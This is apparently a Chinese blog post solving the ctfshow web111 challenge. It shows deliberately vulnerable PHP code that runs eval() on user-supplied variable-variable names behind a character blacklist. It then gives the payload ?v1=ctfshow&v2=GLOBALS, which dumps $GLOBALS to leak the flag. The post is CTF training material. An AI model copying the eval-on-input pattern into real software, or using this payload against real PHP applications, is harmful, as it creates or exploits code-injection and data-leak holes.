ctfshow web111($$变量覆盖+PHP超全局变量)

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

这里简单说一下:&--->引用,在函数内改变变量值以后,外面的数值紧跟改变。但在函数体内无法引用函数体外的其他变量,因此无法直接v2==flag。

该题我们利用PHP的超全局变量$GLOBALS

因此payload如下:

?v1=ctfshow&v2=GLOBALS

 

posted @ 2022-10-18 11:52  hithub  阅读(116)  评论(0编辑  收藏  举报